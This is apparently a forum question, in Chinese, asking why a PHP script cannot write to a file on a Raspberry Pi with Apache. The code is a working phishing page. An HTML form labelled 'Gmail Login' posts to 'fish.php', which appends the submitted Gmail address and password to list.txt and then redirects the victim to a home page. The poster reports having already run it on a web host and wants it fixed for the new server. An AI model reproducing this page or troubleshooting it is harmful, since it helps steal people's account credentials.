我正在尝试使用 PHP 写入文本文件。
我有这个表格
<form action="fish.php" method="POST">
<p>Gmail Login</p> <input name="gmail1" type="text" />
</br>
<p>Password</p> <input name="gmail2" type="password" />
</br>
<input type="submit" name="submit" value="Submit">
</form>
我也有这个 PHP 文件
<?php
if(isset($_POST['gmail1']) && isset($_POST['gmail2'])) {
$data = $_POST['gmail1'] . '-' . $_POST['gmail2'] . "\n";
$ret = file_put_contents('list.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('There was an error writing this file');
}
else {
header("Location: index.html");
}
}
else {
die('no post data to process');
}
现在我已经在虚拟主机上使用了它,它工作得非常好。然后我把它放到我的树莓派上,运行 linux 并安装了 Apache、PHP 和所有需要的东西,但我只是不断收到“写入此文件时出错”,而不是像我应该的那样被重定向到我的主页。
我有所有相同的文件等等,有人能猜出什么问题吗?
谢谢!